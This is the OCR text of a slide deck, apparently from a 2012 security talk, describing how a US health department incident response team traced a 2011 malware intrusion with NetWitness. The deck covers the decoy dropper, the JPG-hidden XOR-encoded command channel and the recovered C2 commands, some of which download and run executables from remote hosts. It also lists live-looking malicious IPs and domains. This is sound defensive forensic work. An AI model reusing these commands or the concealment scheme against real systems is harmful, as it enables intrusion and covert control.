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Introduction

e \Who am 1?

— Shawn Baker — shawn.baker@hhs.gov
— Sr. Forensics and Incident Response Engineer

— Merlin Int’l - Contractor for the Dept. of Health
and Human Services Computer Security Incident
Response Center (DHHS CSIRC)

— 12+ years experience working in Information
Security

e Current Role
— Hard Drive and Memory Forensics
— Malware Analysis
— Network Traffic Analysis
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NetWitness Deployment

e Department wide deployment
* Deployed at all Operating Divisions (OPDIVSs)

e Monitors network traffic at most egress
points on those networks

e Captures full packet data and is stored for
between 14-30 days depending on the
OPDIV

e \We can access meta-data from a dedicated
CSIRC broker (RoE limitation)
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Benefits of Current Deployment

* Increased visibility on network traffic cross
the Department

e Allows for searching of known Indicators of
Compromise across all OPDIVs

* More easily detect and identify wide-spread
attacks or infections

— This enables more thorough reporting of
Incidents

— Better correlation of incidents
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Our Incident

* In November of 2011 we received notification
from US-CERT of suspected malicious traffic

e Some NetFlow data was provided

 No additional information was provided
regarding reason traffic was regarded as
suspicious or malicious at that time other
than that it was known C2 traffic

— No specifics on what type of malware we were
dealing with

RSA EMC
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Details We Recelved

* We received three separate alerts

ency IP's
'ﬁ"é’lllit:ﬁn'..'~[:~u:1"II 226,155

Malicious IP and associated domain
200.173.254. 28 - forceoptions[. ]net

Timestamps are UTC/GMT

sIP, dIr,sPort,dfort,pro,  packets, bytes,
[Flags, sTime dur, eTime, sensor,
300X, 3K, 226. 155, 2049, 1?3 254, 25 16149, 80, 6, 4, 351, 5 Pa

L2011/11/17716:27:49.445, 130.807,2011,11/17716: 30: 00, 252,
BOLir11/27Ti6:37 8. Jagency 165
L2011,/11,/17T16: 27 149, 4]

WK, XK. 226,155, 209, 100 XX, 241. 23

palicious IP
[67.109.132.202 (Please verify if there are any domains associated with this

activity)
Timestamps are UTC/GMT
IF, dIP sPort ,dPort,pro,  packets, bytes,
f'ug:-. dur, eTimE,  Sensor,
x¥.241.23, 67.109. 132 2112 1369 80, 6, 202, 436E3, 5 PA

2011..!"11.-"1511.'5 ua 54, ;1? 17E nlnnl 3y n'llJ:-l.- =TI . L
67.100.132.202, 3004204 241. agency 1

,2011/11/16T15: 08: %9, 325, 178hoo, a0 23? 136

000 MK, 241,23, 67.109, i32,

alicious IP

202.39.61.136
Timestamps are WUTC,/GMT
SIP, dip,sPort,dPort,pro,  packets, bytes,

flags, sTime, dur, eTime, sensor,
WK, O, 23T7.136, 202.39.61. 135 3836, B0, 6, S5 4749, SRPA
,2011/11/17T12:25:05. 200, 63, BUS 2011.-"11;"1?11.2 26:09.003,

202,39.61.136, 000 XX, 237,136, B8O, 3836, 6, 3 1667, 5 PA
L2011,/11 /17712 25 05. 306, 63. ﬁiﬁ 2011..-"11_.-'1?1'12 26:09.005,

X0, %X, 226.155, 202.39.61.136, 1504, 80, 6, 5. 479, SRPA
201131 AT TI6:24:23. 435, 65. Qul-l 2!111!11.-"1?1‘16 25:20.379,
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Analysis Begins

* In NetWithess we started with searches for
the destination IP addresses provided In the
alerts

—67.109.132.202
—202.39.61.136
— 209.173.254.28 (forceoptions|.]net)

* There were three initial source (agency) IPs
reported as having attempted to connect to
these malicious destination IPs

— NetWitness showed that there had been 12

RSA EMC
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Analysis Continues

Ih_r‘li%_'—ll e oy P et e

e

.E e} Welcome |4 §:°TE= E'l

< 2011-11-10 22:24

‘ 4 Risk: Informational (1 item)
2 unkrown service ower htrp port (25)

4= Threat Source [open]

rae

& Threat Carvegory [open]

4! Threat Description [open]

4 Service Type 2 iems)

HTTP (5911 - OTHER {95}

4 Hostname Aliases (0 =)
forceoprions.net (325) - blnq.m-udl:sql‘.nm: [43)

& Source IP Address |12 items)
2260194 (16) - 226177 (8) - 226.178 (5) -

4+ Destination IP address (3 teoms
209.173.254.28 (325) - 67.109.132.202 {201) - 202.39.61.136 (160

¥ & *

-
e

ANl Data = | Test > Custom Drill “ip.dst=67.109.132.202 || ip.ds...”

2471 23 (255) - 226171 (163) - 226.155 (162) ~ 25274 (33}~ 237 136 (18)~

S TR

]

B

wm el (R EEE T[Sl ]e]

201 01-11-27 637 >

-

2379 (16}~
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Analysis Continues

* Now we had 12 source IPs to search for but
chose to focus on the timing for these

e Expanded out the timeframe to a week prior
to the known communications

e Looked for initial infection time and possibly
vector

e Found that a number of ZIP files had been

downloaded from one of the malicious IPs
—202.39.61.136

RSA EMC
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Analysis Continues

EI:- = e ——n
[ a— (=l Test> Custom Drin - . > zip =N i
@ mewecome L | @Test L (@7 O e =

ElEl=lT=lE0nel ST

- 201 1-11-10 22:24
I:h_ 4 Service Type (| item)

| wopapy

L.

S

HTTP (23)

) Hostname Aliases (1 e
blog.regicsgf net (23)

o Source P Aaddress (& itemis)

237.9 (8) - 247.23 (4) - ZIFT. 136 (4) -

s Destination IP address (1 iten)
202.39.61.136 (23)

S ACTioOn Event (| iten)
get (Z3)

s Content Type (2 items)
application /x—zip—compressed (103 - text//heml ()

S EXTEnsion 2 tens)
Zip (23) - o (3]

o Forensic Fingerprint 1 e
zip (100

4 Filemame (2 items)

any_statff_changes_omn_ Zip (23) - favicon.ca (3)

|

2011 -11-27 06:37 >

=

25274 (3)- 241 .26 (2) - 226.180 (2)

-

| »
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Analysis Continues

W Netwitness Investigator 8

201 1-Nov-16 05:24:05
20171 -Nov-16 0D9:50:28
201 1-Nowv=-16 10:00:41
201 1-Now-16 10:00:41
2011-Hov-16 DE:49:28
201 1-Nov-16 09:24:05
201 T=-Mov=16 09:50:28
201 1-Mowv=-16 10:00:41
2011 -Nowv-16 10:00:41

i Collecion Edt View Dookmarks Hstory Help

1
= | Test> Customn Dr ... > zip > Sessions ...

Service
IPf TCP

HTTP
IP / TCP / HTTP
IP [ TCP / HTTP
IP / TCP / HTTP
IP / TCP | HTTP
IP/ TCP | HTTP
IP/ TCP / HTTP
IP [ TCP / HTTP
P | TCP / HTTP
IP [ TCP [ HTTP

& eiWelcome o lﬂrg.t % i_ﬂrut (% | I;auﬁt a9

: pEENENEEESELE
g‘ =

Size

12312 KB
123.10 KB
B81.80 KE

123.16 KB
123.12 KB
12312 KB
123.10 KB
B1.80 KE

123.16 KB

Events

EEEEEEE

241.26 -> 202.39.61.136 g 2724 -> 80 (hip)
&) 2742 -> 80 (hup)

237.136 -> 202.3961.136 g 3805 -> 80 (hup)

2379 =-> 202.39.61.136

237.136 -> 202.39.61.136 (P 3807 -> B8O (http)
226.180 -> 202.39.61.136 g 2226 -> 80 (http)
&b 2724 -> 80 (http)

@ 2742 -> 80 (hurp)
237.136 -> 202.39.61.136 &P 3805 -> 80 (hup)

241.26 -> 202.39.61.136
2379 -> 202.359.61.136

237.136 -> 202.39.61.136 &P 2807 -> BO (http)
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Analysis Continues

e Using NetWitness we recovered the 10 zip
files that were downloaded

e All zip files were identical according to MD5
hashes

v Administrator CHMD

C:sUserssshawnsDesktopsTestsArc
rBa:ldnEaudEEEHELdfadeabea?l
c8a/ld6Za3 % f ad@dafb2a91
cBaTld@EanEEE” fadeanEa?l
cBa7ld6Z2a3d5S66 fad@dafb?a?%
1
1
1

.anf statff_changes_on
.any_statff_changes_on
.any_statff_changes_on
.any_statff_changes_on

MM

L O Dl ﬂ:l
I

IO OO0 Qo
N L Y

cBa;ldnzaudEEE_ f adbdat b2Za9
t addat b2a9

;? f adBdat bZa9

. 67 A3Z2df adBdaf bZ2a9
cﬂajldn?aﬂdEEEH Zdf adBdafbZ2a91
cB8a/ldeZa3dse683 dfadﬂdafb2591:

C:sUserssshawns\DesktopsnTestNarchives?

.any_statff_changes_on
.any_statff_changes_on
.any_statff_changes
.any_statff_changes
.any_statff_changes

.any_statff_changes

on
on
oan
on

Jedsdsd I =IO
WOWWWWWWWWT
B o s o s s e s s e
VU000 OUO000

AT MMM

-
-
-
-
-
-
-
-
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Analysis Continues

* We extracted the zip archive and it contained
one file with a name consistent with the
name of the zip file but had a Microsoft Word
iIcon associated with it

“ extracted
G'Ovh;. - Test » Archives ~ extracted v K& | search extracted
Organize v Indudeinlbrary ¥ Sharewith v Burn  New folder = o [ @
'i-'l'-‘ Mame = Imtemudﬂad |T*.1:e IE::
| ] any_statff_changes_on . 11f16/20118:05PM  Application 166 KB
]
-
el sl | o

RSA
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Analysis Continues

* A quick analysis of this binary showed signs
that it was a self extracting WINnRAR file and
also a possibly significant registry key

[z Admiinistrator: CMD

1Sof twareNHinRAR SFX
STATIC

.exe
Install

RSA |
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Analysis Continues

* Analysis showed that there was a Chinese
Language set in use on the file

Ef Resource Hacker - C:\Documents and Settings\Administrator’Desktop’any_statff_changes on| -Iﬂlﬂ
File Edit Yiew Action Help
gg il':lr:ap Compile Script |
=43 Dialog GETPASSWORD1 DIALOG 38, 46, 183, &7
-] ASKNEXTVOL STYLE DS _MODALFRAME | DS _CENTER | WS_POPUP | WS _VISIBLE |
=43 GETPASSWORD1 CAPTION "2722"
- 4% 2052 LANGUAGE LANG CHINESE, Ox2
#-[_] LICENSEDLG 3, T
-] RENAMEDLG {
D REPLACEFILEDLG CCONTROL "222222222(&E):", -1, STATIC, 55 _LEFT | WS _CHIL

CCNTROL ™", 101, EDIT, E3_LEFT | E5_PASSWORD | ES_AUTOH

=-@ ST bLe CONTROL "22", 1, BUTTON, BS DEFPUSHEUTTON | W3 CHILD |

- (3 String Table CONTROL "27", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_
&-(1] leon Group CONTROL "", 10z, STATIC, SS_LEFT | SS_PATHELLIPSIS | VS
-3 24 )

< | i
| | 214/ 4

RSA
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Analysis Continues

* We decided to execute this software In a
segregated virtual machine on a dedicated
malware analysis system

* We wanted to get some quick and dirty
Indicators of compromise (1oCs) to track
down stage two traffic

RSA
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Analysis Continues

 Dropped and opened a Word doc decoy file

=10 x|
File Edit “ew Insert Formak Help
D|E| SR a5 B
IGEDrgia j IEE j IWestern =
g"'!"'1."'!"'?"'!'"3"'!"".‘"'!"'5"'! "" At
Statff Changes
For Help, press F1 I_I_ A

RSA
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Analysis Continues

* It also dropped an executable named
svchost.exe in the user’s Temp directory and
created a registry key for persistence

" Registry Editor =10l x|
Eile Edit Wiew Favorites Help
=7 Current¥ersion ;I M arme: Twpe | Daka |
-{_] Devices [ab](Default) REG_SZ {value not set)
~{_ Extensions [ab] DebugOptions REG 57 2045
-] Metwork [ab] Dacuments REG_SZ
~{] PrinterPorts ab]rooreink BEG ST Jare)
(] Pragram Manager % REG. 57 A DOCUME~ 1| ADMINI~1{LOCALS~1 Tempisvchost . exe
{27 TaskManager
: FEG o2 i
-~ Time Zones [aB]ulPort REG. 52 None
20 TrueTvpe : _
3 Windows F'rn:-grams REG_57 com exe bat pif crad
{27 winlogon J
-0 Mirwoj
-7 Metscape
-2 Policies =
. i Iﬂ_l
|M';.f ComputeriHEEY _CURREMT _USER Softwaret Microsaft)Windows MTICurrentyersiont windows i

RSA
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Analysis Continues

e Strings output of the malicious svchost.exe
file showed two malicious IPs

oo O WINDODWS' system32' cmd.exe
Content—-Type

applicationsx—wuwmw—form—urlencoded

POST

CET

http- 2202 _37? .61 . 136 report-hotnews _htm

start Cmd Failure?
Q3J1YERIUHJuY2U=cHE=

RSA
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Analysis Continues

e Back to NetWitnhess to search for connections
to the additional IP addresses

e Found three source IPs that communicated
with the additional IP

* NetWitness showed that abnormal exes (nine
In total) had been downloaded from the site.

e NetWithess was used to extract the files
e Three different files were downloaded

RSA
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Analysis Continues

* New domains were found in strings output

Administrator: CMD

C:N\unknow.zip
Content-Length
Content-Type

application/x-www-form-urlencoded
POST

GET

http: /7202.39.61. 136/report/hotnews . htm
htte:/774.93.92.50: 80/

download
reqgpath=

RSA |
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Analysis Continues
* New searches performed for new destination
IP address 74.93.92.50

e Showed thousands of hits over the 16 day
period under review

e There were 13 source IP addresses
connecting to this destination IP

© Copyright 2012 EMC Corporation. All rights reserved.



Analysis Continues

o E—
i Collection [Edit \ew Bookmarks Hstory Help

AlDats =l Test> Custom Drill ip.dst=74.93.92.50° a0 2=

E ﬂh‘iﬁnmi'b’ﬂtﬁljﬂfcﬂu| i x

1 <2011 =11=10 22:24 201 0=1 =27 0537 >

=l

o Service Type (2 items)
OTHER (54,518) - HTTP (26,635)

24123017613 237036 (14,2700 - 234167 (10 382y - 254247 (5,448 - 234,34 (8,652) -

2349905530 -
234007 (5,794)- 234,72 (5,734) - 2260178 (1, 674)- Z2ENTT (378 - 226,194 (174) -

22671 {1600 - 226155 (146)

» Destination IP address @ oo
74.93.92 50 (81,153)

o Action Event o tems
Qe (23,777 - pur (2, E95)

* 4 Source IP Address (13 items
k3
®

= Extension @ mems)

"-‘:-d aLp (26 570) - <none> [ 102)

[ » Forensic Fingerpring = tome

Axt windows_sxecutable (21) - windows executable (21) - xB5 pe ( 20 - rar {1 7} - windows_dll (7)) - windows dil {7) - x54 pa (1)
e - Fllename [open]

© Copyright 2012 EMC Corporation. All rights reserved.
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Let’'s Take a Step Back

* Remember what the first three reports were

for, one IP address talking to one external IP
— XXX.XX.241.23 - 67.109.132.202
— XXX.XX.226.155 - 209.173.254.28
— XXX.XX.237.136 > 202.39.61.136

* Now we had all three of these IP addresses
communicating with the same second or
third stage C2 IP

— 74.93.92.50

* We just connected three separate incidents

RSA EMC
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Analysis Continues

* Analyzing traffic to the IP 74.93.92.50 we
found that 21 executables had been
downloaded as well as 16 RAR files

— Five different RAR files were downloaded, but
one was corrupted

— Seven different executables were downloaded

— Contents of the RAR files were extracted and
showed that there were 6 unique files:

= 2 executables
» 4 Dynamic Link Libraries (DLLS)

RSA
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Analysis Continues

e Strings analysis of these files showed that
there was yet more IPs and domains to
search for

e The domain was encoded using an encoding

method we had seen used at another OPDIV
earlier in the year

e L WINDOWS system32h cmd.exe

WINIMET .d11

FIBEDEFGHIJHLHNUPQRETUU!-JH!:‘E&]J[:(I fghijklmnopgrs tuvwxy=012345678 704
-tm

H 11a/4 E ( mpat hl e; U d s NT 5 1 HEIE E @ T d t/4 E >
1E

HBEDEFGHIJHLHNUPQRETUUUHTEah d fg} Jklm pq t xy 3123456?89E#=

thegquickbrownfxjmpsvalzydy

BG dJlDEm H CEEHSft i E? f5R103HEQ26PLHlBRBU rdyeWEEFPFQdp

1 s1l1gl

RSA
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The Encoding Mechanism

e Using Python an analyst at another OPDIV
wrote a script to decode this encoding

* From the previous slide
— First line — Character set
— Second line — The cipher key
— Third line — The encoded URL

* The Foxy Malware

ABCDEFGHI ll-lHH“}U] STUUWRYZabedef |}|L |]-l|||utjut -ty I -0123456789 0 =
1l| guickbrownt x |1:;|| :valzydy

8GovdJ1DSme AeCERBHSft i@" *'l.l »R103ACQZ26 PLA 1BREWrwd ye WEX FPFQdp

RSA
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Analysis Continues

—
o | 1|2 |3 |a|s a7 |8 |9 |1w0|1|12] 13 |2a|15/ |16 |17 |18 |19]|220]2
55 | 64 | 63 | 62 | 61 | -60 | 59 |58 | 57| -56 | -55 | -54 | -53 | -52 | -51| 50 | -49 | 48 | -47 | -46 | -45 | -44
ales|c|o|e | Flelw | 1|1k L|im|N|jolP|lalrR|SsS|T|ulwv

=
22 |23 |24 | 5| B8 |27 |28 |28 |30 |31 |32|33 34|35 |36 |37 (38|39 |4 |4 |44
43 |42 |41 | oo B8] 38| 37| 36|35 | 34| 33| 32|31 30 |-29|-28 |27 |-26|-25|-24|-23|22
wilx|vylz)ele|c|al|e|s|e|n|i|i|k|t|m|n|lol|lp]|aqg]r
46 | 47 | 48 | 49 | 50 [ 51 |52 |53 |54 |55 |56 57 |58 |50 |60 61|62 63|64
A9 |18 |47 |6 |15 |14 |13 |12 |- |-w0| 9| 8| 7| 6|54 3]2]1
u ' w X ¥ z 0 1 2 3 4 5 6 7 8 9 @ # =

‘Table 11: Cipher Table

RSA
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Analysis Continues

e Example of the deciphering mechanism

Using the following as the encrypted URL string:
GovdJIDSmMhEmDQpPAfAc3r4a4G FESweG62TLCFSQKSzJGVVSLXEN
G4rRG4sRzgkcyVES#vxiz3drbSmlg

Using the following string as the cipher key:
thequickbrownfxjmpsvalzvdgthequickbrownfxjmpsvalzyvdgthequickbrownfxjmpsvalzydgth

The following 1s the decoded base64 encoded URL string:
aHROcDovL3d3dy5tb3VudGFpbnZhbGxleSShhbWVyaWNhbnVuZmluaXNoZWQuY2HLIVWZG
FOZS5qcGe=

Using an online decoder, this results in a URI:
hxxp:/www.mountainvallev.americanunfinished.com/update.jpg

RSA
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Analysis Continues

* The original encoding converts to:

— aHROcDovLOZvcmNIT3BOaWw9ucy5uZXQvaWwlhz2
VzLOFHMDEyLmpwZw==

e This iIs further converted via Base64
encoding to:

— http://ForceOptions.net/images/AG012.ipg
= This domain was reported by US-CERT

* This mechanism of using JPG files for
commands was also observed during
previous incident

RSA
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Analysis Continues

* All of the requests for the file ag012.jpg
returned with a 404 Not Found Error

* The other file update.jpg had much more
Interesting results

* There were 586 update.jpg files downloaded

— 54 of them were XOR Encoded Executables as
Identified by NetWithess

© Copyright 2012 EMC Corporation. All rights reserved.



Analysis Continues

— FF D9 — JPEG Footer

— 00 00 86 51 — File offset

— FF 02 B7 BC — Sanity check
— Rest Is the encode domain

(83 crypTool 1.4.30 - [update.jpg] =10 x|
Gl Fle Edit View EncyptDecrypt Digital Signatures/PKI Indiv. Procedures Analysis Options Window Help == =l
D= |E| S| &[] 5 2%

QO0N8EAD FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF . . ... .. . .. ... ... ;I

000085EE FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  .................
000085CF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF . ................
000085E0  FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF . ................
000085F1 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  .................
00008602 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF . ................
00008613 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  .................
00008624 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF . ................
00008635 FF FF FF FF FF FF FF FF FF FF FF  .................
00008646 FF FF FF FF FF 00 00 48 4? Ca 94 ... .. HG. ... .. ..
00008657 94 A5 C9 CD AE BO CC 87 BE A5 BD AA 9B B4 BF BO AE .. ....... ... .....

0000BERS 9 AD B? 92 BC 8E BC CC BE B4 8E ... .. ...
0ooo0se?s 0 00 86 51 FF D9 N & B j

Press F1 to obtain help. |L:2023 C:12 P:34386 lov

RSA
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Analysis Continues

* The file was then XOR’ed using ‘FF’ as the
key
— Resulted in encoded command
— Also In an embedded executable

E CrypTool 1.4.30 - [XOR encryption of <update.jpg>, key <FF=] - |EI|£|
gflﬁe Edit View Encypt/Decrypt Digital Signatures/PKI  Indiv. Procedures  Analysis Options  Window Help -7 x|

D@5 &|5=(@ £ 2[

oooogsAD 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 Q0 a0 ... ... .. ... ... ... :J
oooogsBE 00 00 00 00 OO 00 00 0O OO0 00 00 00 00 00 00 Q0 a0 ... ... .. ... ... ...

oooogscF o0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 a0 ... ... ... ...

0ooo0g5ED
oo0ogsF1
oooogenz
oo0o0gel13
ooooge24
oo0o0geas
00008646
ooooges?
0000866 E
oooogeys

Press F1 to obtain help. |L:2025 C:17 P:34425 lov

RSA

© Copyright 2012 EMC Corporation. All rights reserved. 33




Analysis Continues

* We recovered the JPEGs from the network
packets with NetWithess and recovered the
EXEs manually

e Also decoded the commands

E CrypTool 1.4.30 - [XOR encryption of <update.jpg>, key <FF=] - |EI|£|
g* File Edit View Encrypt/Decrypt Digital Signatures/PKI  Indiv. Procedures  Analysis Options  Window Help _|5|2ﬂ
0|l =2 #[2|@ &= 2%

gpooo4a40 FF AE BA EBE FE 00 26 00 FC 48 46 4D 54 90 00 03 00 ... ... & HFMZ . . .. :J

oooo4851 00 00 04 00 00 OO FF FF 00 0O B8 00 Q0 00 00 00 0O ......... .. ......
pooo4ge2 00 40 00 00O 00 00 00 OO OO OO0 OO OO0 OO OO0 OO0 OO0 a0 o
pooo4s?3 00 00 00 0O OO0 0O 00 OO0 00 OO0 00 00 00 o0 0o o0 a0 ... ... ...l
pooo4gs4 00 00 OO D2 00 0O 00 OE 1F BA OE 00 B4 09 CD 21 BE .. ... .. ... ... .. I,
oooo429t 01 4C CD 21 54 68 69 73 20 70 72 eF &7 Y2 &1 6D 20 .L.1Thi= program
oooo4sie 63 61 6E GE 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 cannot be run in L
oooo4gB? 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 DOS mode. .. 5. . ..
oooo4scs 00 00 00 49 57 1B CA 0D 36 75 99 0D 36 75 99 0D 36 oJIW. L Bu. cBu. LB
oooo4sDa Y5 99 Fe 24 79 99 0C 36 Y5 99 8E 24 VB 99 0C 36 PG n.vEy ., bu. . %], 6u
0ooo42EA 99 62 29 FF 99 06 36 75 99 62 29 F1 99 09 36 L 99 b)Y Bu.bBjig. . Bu.
000048FE 0D 36 74 99 69 36 Y5 99 BE 3E 28 99 04 36 75 99 3B 6t ibull s Bl
oooo490c 10 YE 99 0& 36 F5 99 52 69 63 68 0D 36 Y5 99 00 00 ™o bu Hich.g6u. .. :j

Press F1 to obtain help. |L:1100 C:8 P:18691 [ov 4
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Commands Recelved

"0011Mkpfjokhb ver"
"0009Mkpfjokhb cd..\temp"
"0014Mkpfjokhb jpghttp://tcw.homier.com/images/logo.jpg C:\WINDOWS\Temp\vpngui.exe

"0001Mkpfjokhb ipconfig /all"

"0023Mkpfjokhb jpghttp://tcw.homier.com/images/logo.jpg
C:\WINDOWS\Temp\NBCenter.exe"

"0004Mkpfjokhb ver"

"0013Mkpfjokhb dir C:\WINDOWS\Temp\vpngui.exe"

"0024Mkpfjokhb move NBCenter.* ..\system32\&time /t"

"0017Mkpfjokhb dir log.txt"

"0028Mkpfjokhb exit"

"0022Mkpfjokhb jpghttp://tcw.homier.com/images/logo.jpg
C:\WINDOWS\Temp\NBCenter.exe"

"0076Megewiqgvu del pt.exe"

"0025Mkpfjokhb at 10:48 NBCenter.exe"

"0016Mkpfjokhb vpngui.exe 65.89.173.68 443 65.19.185.143 vpn_cxl 123456&tasklist | find
"vpngui.exe""

"0021Mkpfjokhb jpghttp:/tcw.homier.com/images/logo.jpg C:\WINDOWS\Temp\NBCenter.dll"

"0000Mkpfjokhb active"
"0018Mkpfjokhb type log.txt"
"0008Mkpfjokhb hostname"
"0026Mkpfjokhb at"

m "0015Mkpfjokhb dir vpngui.exe" m
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Analysis Continues

* In all, 25 unique update.jpg files were
downloaded

* From that about 20 unique commands were
received

e Resulted in three additional network based
10Cs
— http://tcw.homier.com
—65.89.173.68
—65.19.185.143

RSA
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Analysis Continues

e \We were able to recover the NBCenter.exe
file and iIits accompanying DLL

* Quick analysis of the files revealed no new
loCs

e At this point we received hard drive images
of some of the affected systems and were

able to build a timeline of disk activity and
network traffic
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Analysis Continues

 We used EnCase and the SIFT workstation
from SANS to process the hard drive images

e Recovered the files found Iin network traffic

e Found evidence of commands executed on
the system (MRU and Prefetch)

* Evidence of compromise accounts (Event
logs)
— Resulted in identification of additional
compromised hosts because of admin account

RSA EMC
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Incident Summary

* Traffic began on Nov. 16t, 2011

e Three individual alerts from US-CERT
received on Nov. 17t and Nov. 18th

e Identified 20 affected hosts
e Correlated multiple incidents

e Identified 14 different network based
Indicators of Compromise
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Incident Summary

* Using CrypTool we were able to recover a
number of executables and commands
— 22 malicious executables were recovered
— 25 different commands (18 unique)

e All traffic to the malicious domains ceased on
Nov. 27t 2011

e No further traffic has been observed

RSA
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Conclusion

e Using NetWitness we were able to quickly
Identify the suspicious traffic and generate
traffic alerts

* Were quickly able to recover malware and
perform quick static (strings) and dynamic
analysis to identify additional 10Cs

* Resolved incident in 10 days

RSA
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Looking Forward

e Using the NetWitness alert of XOR Encoded
Executable has allowed us to identify other
malicious network traffic and downloads

* Known malicious network based 10Cs have
now been put In to a regular feed to monitor
across all OPDIVs

e Devices deployed such as Spectrum to
monitor inbound attachments and
executables for suspicious activity

RSA
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